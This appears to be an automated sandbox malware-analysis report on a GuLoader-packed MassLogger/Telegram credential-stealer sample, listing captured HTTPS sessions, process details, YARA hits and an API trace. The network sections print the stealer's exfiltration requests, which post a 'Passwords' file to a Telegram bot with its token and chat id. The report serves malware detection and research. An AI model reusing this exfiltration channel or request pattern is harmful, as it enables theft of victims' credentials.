2025-01-10 20:17:19 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 36 30 39 35 39 39 34 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f60959947bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:19 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:19 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43545,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540239,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49958	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:20 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320c0911f197 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:20 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 63 30 39 31 31 66 31 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320c0911f197Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:21 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:21 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 34 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43546,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540241,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49971	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:22 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32209989e033 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:22 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 30 39 39 38 39 65 30 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32209989e033Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:22 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:22 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 34 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43547,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540242,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49983	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:24 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32351af635cd Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 35 31 61 66 36 33 35 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32351af635cdContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:24 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:24 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:24 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 34 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43548,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540244,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49996	149.154.167.220	443	5060	C:\Users\user\Desktop\ajRZflJ2ch.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:26 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32498ceb8d8b Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 39 38 63 65 62 38 64 38 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32498ceb8d8bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:26 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:26 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:26 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 34 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43549,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540246,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.8	49998	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:17:30 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3189e59bd272 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:17:30 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 39 65 35 39 62 64 32 37 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3189e59bd272Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:17:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:17:30 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:17:30 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 35 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 30 32 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43550,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736540250,"document":{"file_n

Target ID:	0
Start time:	15:15:19
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ajRZflJ2ch.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ajRZflJ2ch.exe"
Imagebase:	0x400000
File size:	1'026'527 bytes
MD5 hash:	C9775580271050109B3431A54F1880F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2233521222.00000000059F7000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:16:37
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\ajRZflJ2ch.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ajRZflJ2ch.exe"
Imagebase:	0x400000
File size:	1'026'527 bytes
MD5 hash:	C9775580271050109B3431A54F1880F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	13.4%
Signature Coverage:	20%
Total number of Nodes:	1599
Total number of Limit Nodes:	39

Executed Functions

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(C:\Users\user\Desktop\ajRZflJ2ch.exe,00420EE8,?,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

1033, xrefs: 00403749
NSIS Error, xrefs: 00403567
SeShutdownPrivilege, xrefs: 0040396F
.tmp, xrefs: 00403861
~nsu, xrefs: 00403845
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
C:\Users\user\Desktop\ajRZflJ2ch.exe, xrefs: 004038F8
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
\Temp, xrefs: 004036FF
TEMP, xrefs: 0040372D
TMP, xrefs: 00403735
C:\Users\user\AppData\Local\Temp\, xrefs: 004036DD, 004036E2, 004036F8, 00403704, 00403713, 00403720, 0040372C, 00403734, 0040384A, 0040385B, 00403866, 00403872, 0040387F, 0040388E, 0040393F
Error launching installer, xrefs: 004037D0
Low, xrefs: 0040371B

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
